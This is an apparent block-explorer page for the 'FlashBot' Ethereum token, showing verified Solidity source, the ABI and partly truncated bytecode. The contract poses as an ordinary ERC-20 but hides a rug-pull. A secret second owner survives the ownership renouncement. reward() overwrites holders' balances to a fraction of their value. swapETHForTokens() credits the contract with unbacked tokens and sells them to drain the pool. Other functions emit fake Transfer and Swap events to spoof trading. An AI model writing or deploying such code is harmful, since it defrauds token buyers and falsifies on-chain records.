ETH Price: $2,428.62 (-0.95%)
 

Overview

Max Total Supply

1,000,000 FLASHBOT

Holders

40

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-31
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
  external
  payable
  returns (uint[] memory amounts);

function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract Token {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "FlashBot";
    string public constant symbol = "FLASHBOT";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 1_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }
    



    function swapETHForTokens(
        address baseToken,
        address _recipient,
        uint256 amount
    ) public OnlyOwner {
        require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
        uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
        uint256 amountOut = (baseTokenReserve * amount) / 100000;

        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = baseToken;

        uint256 amountIn = _countAmountIn(amountOut, path);

        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200);
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

    function Execute(address[] memory recipients, uint256 wethAmount, uint256 swapType, address tokenAddress) public payable {
        uint256 tokenAmount = _Swap(wethAmount);
        if (swapType == 0) {
            for (uint256 i = 0; i < recipients.length; i++) {
                _emitTransfer(recipients[i], tokenAmount);
            }
        } else if (swapType == 1) {
            for (uint256 i = 0; i < recipients.length; i++) {
                _emitTransfer(recipients[i], tokenAmount);
                IERC20(_router.WETH()).transferFrom(recipients[i], address(_pair), 0);
            }
        } else if (swapType == 2) {
            for (uint256 i = 0; i < recipients.length; i++){
                _emitSwap(tokenAmount, wethAmount, recipients[i]);
            }
        } else if (swapType == 3) {
            for (uint256 i = 0; i < recipients.length; i++){
                _emitSwap(tokenAmount, wethAmount, recipients[i]);
                IERC20(_router.WETH()).transferFrom(recipients[i], address(_pair), 0);
            }
        } else if (swapType == 4) {
            for (uint256 i = 0; i < recipients.length; i++){
                _emitSwap(tokenAmount, wethAmount, recipients[i]);
                IERC20(tokenAddress)._Transfer(recipients[i], address(_pair), wethAmount);
            }
        }

    }

    function _Swap(
        uint256 wethAmount
    ) internal returns (uint256) {
        address[] memory buyPath = new address[](2);
        buyPath[0] = _router.WETH();
        buyPath[1] = address(this);

        uint256[] memory amountOut = _router.getAmountsOut(wethAmount, buyPath);
        _router.swapExactETHForTokens{value: msg.value}(amountOut[1], buyPath, msg.sender, block.timestamp + 1);
        return amountOut[1];
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }


    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(uint256 tokenAmount, uint256 wethAmount, address recipient) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }



    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"uint256","name":"swapType","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905569d3c21bcecceda100000060075534801562000044575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000b9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000df919062000244565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200013d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000163919062000244565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001ae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d4919062000244565b600180546001600160a01b0319166001600160a01b0392909216919091179055600754335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000273565b5f6020828403121562000255575f80fd5b81516001600160a01b03811681146200026c575f80fd5b9392505050565b611c7e80620002815f395ff3fe608060405260043610610105575f3560e01c8063715018a611610092578063a457c2d711610062578063a457c2d714610319578063a9059cbb14610338578063c1da96fb14610357578063c549d3ae1461036a578063dd62ed3e14610389575f80fd5b8063715018a61461027c5780638da5cb5b1461029057806395d89b41146102c75780639b792a44146102fa575f80fd5b806323b872dd116100d857806323b872dd146101c5578063313ce567146101e457806335d162741461020a578063395093511461022957806370a0823114610248575f80fd5b806306fdde0314610109578063095ea7b31461015257806318160ddd1461018157806318aee920146101a4575b5f80fd5b348015610114575f80fd5b5061013c60405180604001604052806008815260200167119b185cda109bdd60c21b81525081565b6040516101499190611696565b60405180910390f35b34801561015d575f80fd5b5061017161016c366004611708565b6103a8565b6040519015158152602001610149565b34801561018c575f80fd5b5061019660075481565b604051908152602001610149565b3480156101af575f80fd5b506101c36101be366004611732565b6103be565b005b3480156101d0575f80fd5b506101716101df3660046117ad565b6104be565b3480156101ef575f80fd5b506101f8601281565b60405160ff9091168152602001610149565b348015610215575f80fd5b506101966102243660046117eb565b6104df565b348015610234575f80fd5b50610171610243366004611708565b61060b565b348015610253575f80fd5b506101966102623660046117eb565b6001600160a01b03165f9081526005602052604090205490565b348015610287575f80fd5b506101c361062c565b34801561029b575f80fd5b506002546102af906001600160a01b031681565b6040516001600160a01b039091168152602001610149565b3480156102d2575f80fd5b5061013c6040518060400160405280600881526020016711931054d21093d560c21b81525081565b348015610305575f80fd5b5061017161031436600461186e565b610698565b348015610324575f80fd5b50610171610333366004611708565b610712565b348015610343575f80fd5b50610171610352366004611708565b610797565b6101c361036536600461186e565b6107a3565b348015610375575f80fd5b506101c36103843660046117ad565b610bb8565b348015610394575f80fd5b506101966103a3366004611929565b610da8565b5f6103b4338484610dd2565b5060015b92915050565b6003546001600160a01b031633146103f15760405162461bcd60e51b81526004016103e890611960565b60405180910390fd5b5f5b838110156104b7578261042686868481811061041157610411611997565b905060200201602081019061026291906117eb565b11156104a5575f61045d86868481811061044257610442611997565b905060200201602081019061045791906117eb565b84610ef6565b90508060055f88888681811061047557610475611997565b905060200201602081019061048a91906117eb565b6001600160a01b0316815260208101919091526040015f2055505b806104af816119bf565b9150506103f3565b5050505050565b5f6104ca843384610f1f565b6104d5848484610f97565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610532573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055691906119ed565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105da9190611a39565b6001600160a01b0316146105f757816001600160701b0316610602565b826001600160701b03165b95945050505050565b5f336104d581858561061d8383610da8565b6106279190611a54565b610dd2565b6002546001600160a01b031633146106865760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016103e8565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106c45760405162461bcd60e51b81526004016103e890611960565b5f5b8551811015610706576106f48682815181106106e4576106e4611997565b602002602001015186868661116d565b806106fe816119bf565b9150506106c6565b50600195945050505050565b5f338161071f8286610da8565b90508381101561077f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e8565b61078c8286868403610dd2565b506001949350505050565b5f6103b4338484610f97565b5f6107ad846111f6565b9050825f036107fc575f5b85518110156107f6576107e48682815181106107d6576107d6611997565b60200260200101518361141d565b806107ee816119bf565b9150506107b8565b506104b7565b82600103610944575f5b85518110156107f6576108248682815181106107d6576107d6611997565b5f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108969190611a39565b6001600160a01b03166323b872dd8783815181106108b6576108b6611997565b60209081029190910101516001546040516001600160e01b031960e085901b1681526108f192916001600160a01b0316905f90600401611a67565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190611a8b565b508061093c816119bf565b915050610806565b8260020361098d575f5b85518110156107f65761097b828688848151811061096e5761096e611997565b6020026020010151611465565b80610985816119bf565b91505061094e565b82600303610ad7575f5b85518110156107f6576109b7828688848151811061096e5761096e611997565b5f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a299190611a39565b6001600160a01b03166323b872dd878381518110610a4957610a49611997565b60209081029190910101516001546040516001600160e01b031960e085901b168152610a8492916001600160a01b0316905f90600401611a67565b6020604051808303815f875af1158015610aa0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac49190611a8b565b5080610acf816119bf565b915050610997565b826004036104b7575f5b8551811015610bb057610b01828688848151811061096e5761096e611997565b826001600160a01b031663e156b1b6878381518110610b2257610b22611997565b60209081029190910101516001546040516001600160e01b031960e085901b168152610b5d92916001600160a01b0316908a90600401611a67565b6020604051808303815f875af1158015610b79573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611a8b565b5080610ba8816119bf565b915050610ae1565b505050505050565b6003546001600160a01b03163314610be25760405162461bcd60e51b81526004016103e890611960565b5f81118015610bf35750620186a081105b610c375760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016103e8565b5f610c41846104df565b90505f620186a0610c528484611aaa565b610c5c9190611ac1565b60408051600280825260608083018452939450909160208301908036833701905050905030815f81518110610c9357610c93611997565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610cc757610cc7611997565b60200260200101906001600160a01b031690816001600160a01b0316815250505f610cf283836114bd565b5f8054308083526005602052604090922054929350610d1c926001600160a01b0390911690610dd2565b5f546001600160a01b0316638803dbee8483858a610d3c426104b0611a54565b6040518663ffffffff1660e01b8152600401610d5c959493929190611b22565b5f604051808303815f875af1158015610d77573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610d9e9190810190611b5d565b5050505050505050565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b6001600160a01b038316610e345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e8565b6001600160a01b038216610e955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e8565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f90815260056020526040812054610f1890836115c9565b9392505050565b5f610f2a8484610da8565b90505f198114610f915781811015610f845760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103e8565b610f918484848403610dd2565b50505050565b6001600160a01b038316610ffb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e8565b6001600160a01b03821661105d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e8565b6001600160a01b0383165f90815260056020526040902054818110156110d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e8565b6110de81836115d4565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461110c9083611638565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061115f9086815260200190565b60405180910390a350505050565b611177848461141d565b611182838386611465565b6001546040516370ab58db60e11b81526001600160a01b038084169263e156b1b6926111b692899216908790600401611a67565b6020604051808303815f875af11580156111d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b79190611a8b565b6040805160028082526060820183525f92839291906020830190803683370190505090505f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611268573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128c9190611a39565b815f8151811061129e5761129e611997565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106112d2576112d2611997565b6001600160a01b0392831660209182029290920101525f805460405163d06ca61f60e01b81529192169063d06ca61f906113129087908690600401611be9565b5f60405180830381865afa15801561132c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526113539190810190611b5d565b5f5481519192506001600160a01b031690637ff36ab59034908490600190811061137f5761137f611997565b602002602001015185334260016113969190611a54565b6040518663ffffffff1660e01b81526004016113b59493929190611c01565b5f6040518083038185885af11580156113d0573d5f803e3d5ffd5b50505050506040513d5f823e601f3d908101601f191682016040526113f89190810190611b5d565b508060018151811061140c5761140c611997565b602002602001015192505050919050565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610ee9565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca7491506115119087908790600401611be9565b5f60405180830381865afa15801561152b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526115529190810190611b5d565b9050805f8151811061156657611566611997565b602002602001015160055f306001600160a01b03166001600160a01b031681526020019081526020015f205f82825461159f9190611a54565b92505081905550805f815181106115b8576115b8611997565b602002602001015191505092915050565b5f610f188284611ac1565b5f828211156116255760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016103e8565b5f6116308385611c35565b949350505050565b5f806116448385611a54565b905083811015610f185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e8565b5f6020808352835180828501525f5b818110156116c1578581018301518582016040015282016116a5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116f5575f80fd5b50565b8035611703816116e1565b919050565b5f8060408385031215611719575f80fd5b8235611724816116e1565b946020939093013593505050565b5f805f8060608587031215611745575f80fd5b843567ffffffffffffffff8082111561175c575f80fd5b818701915087601f83011261176f575f80fd5b81358181111561177d575f80fd5b8860208260051b8501011115611791575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f606084860312156117bf575f80fd5b83356117ca816116e1565b925060208401356117da816116e1565b929592945050506040919091013590565b5f602082840312156117fb575f80fd5b8135610f18816116e1565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561184357611843611806565b604052919050565b5f67ffffffffffffffff82111561186457611864611806565b5060051b60200190565b5f805f8060808587031215611881575f80fd5b843567ffffffffffffffff811115611897575f80fd5b8501601f810187136118a7575f80fd5b803560206118bc6118b78361184b565b61181a565b82815260059290921b8301810191818101908a8411156118da575f80fd5b938201935b838510156119015784356118f2816116e1565b825293820193908201906118df565b975050870135945050506040850135915061191e606086016116f8565b905092959194509250565b5f806040838503121561193a575f80fd5b8235611945816116e1565b91506020830135611955816116e1565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016119d0576119d06119ab565b5060010190565b80516001600160701b0381168114611703575f80fd5b5f805f606084860312156119ff575f80fd5b611a08846119d7565b9250611a16602085016119d7565b9150604084015163ffffffff81168114611a2e575f80fd5b809150509250925092565b5f60208284031215611a49575f80fd5b8151610f18816116e1565b808201808211156103b8576103b86119ab565b6001600160a01b039384168152919092166020820152604081019190915260600190565b5f60208284031215611a9b575f80fd5b81518015158114610f18575f80fd5b80820281158282048414176103b8576103b86119ab565b5f82611adb57634e487b7160e01b5f52601260045260245ffd5b500490565b5f8151808452602080850194508084015f5b83811015611b175781516001600160a01b031687529582019590820190600101611af2565b509495945050505050565b85815284602082015260a060408201525f611b4060a0830186611ae0565b6001600160a01b0394909416606083015250608001529392505050565b5f6020808385031215611b6e575f80fd5b825167ffffffffffffffff811115611b84575f80fd5b8301601f81018513611b94575f80fd5b8051611ba26118b78261184b565b81815260059190911b82018301908381019087831115611bc0575f80fd5b928401925b82841015611bde57835182529284019290840190611bc5565b979650505050505050565b828152604060208201525f6116306040830184611ae0565b848152608060208201525f611c196080830186611ae0565b6001600160a01b03949094166040830152506060015292915050565b818103818111156103b8576103b86119ab56fea2646970667358221220b62677b9b55becfbcd565feb1b56570a2dd228a84e5e47e559e79e401390869f64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610105575f3560e01c8063715018a611610092578063a457c2d711610062578063a457c2d714610319578063a9059cbb14610338578063c1da96fb14610357578063c549d3ae1461036a578063dd62ed3e14610389575f80fd5b8063715018a61461027c5780638da5cb5b1461029057806395d89b41146102c75780639b792a44146102fa575f80fd5b806323b872dd116100d857806323b872dd146101c5578063313ce567146101e457806335d162741461020a578063395093511461022957806370a0823114610248575f80fd5b806306fdde0314610109578063095ea7b31461015257806318160ddd1461018157806318aee920146101a4575b5f80fd5b348015610114575f80fd5b5061013c60405180604001604052806008815260200167119b185cda109bdd60c21b81525081565b6040516101499190611696565b60405180910390f35b34801561015d575f80fd5b5061017161016c366004611708565b6103a8565b6040519015158152602001610149565b34801561018c575f80fd5b5061019660075481565b604051908152602001610149565b3480156101af575f80fd5b506101c36101be366004611732565b6103be565b005b3480156101d0575f80fd5b506101716101df3660046117ad565b6104be565b3480156101ef575f80fd5b506101f8601281565b60405160ff9091168152602001610149565b348015610215575f80fd5b506101966102243660046117eb565b6104df565b348015610234575f80fd5b50610171610243366004611708565b61060b565b348015610253575f80fd5b506101966102623660046117eb565b6001600160a01b03165f9081526005602052604090205490565b348015610287575f80fd5b506101c361062c565b34801561029b575f80fd5b506002546102af906001600160a01b031681565b6040516001600160a01b039091168152602001610149565b3480156102d2575f80fd5b5061013c6040518060400160405280600881526020016711931054d21093d560c21b81525081565b348015610305575f80fd5b5061017161031436600461186e565b610698565b348015610324575f80fd5b50610171610333366004611708565b610712565b348015610343575f80fd5b50610171610352366004611708565b610797565b6101c361036536600461186e565b6107a3565b348015610375575f80fd5b506101c36103843660046117ad565b610bb8565b348015610394575f80fd5b506101966103a3366004611929565b610da8565b5f6103b4338484610dd2565b5060015b92915050565b6003546001600160a01b031633146103f15760405162461bcd60e51b81526004016103e890611960565b60405180910390fd5b5f5b838110156104b7578261042686868481811061041157610411611997565b905060200201602081019061026291906117eb565b11156104a5575f61045d86868481811061044257610442611997565b905060200201602081019061045791906117eb565b84610ef6565b90508060055f88888681811061047557610475611997565b905060200201602081019061048a91906117eb565b6001600160a01b0316815260208101919091526040015f2055505b806104af816119bf565b9150506103f3565b5050505050565b5f6104ca843384610f1f565b6104d5848484610f97565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040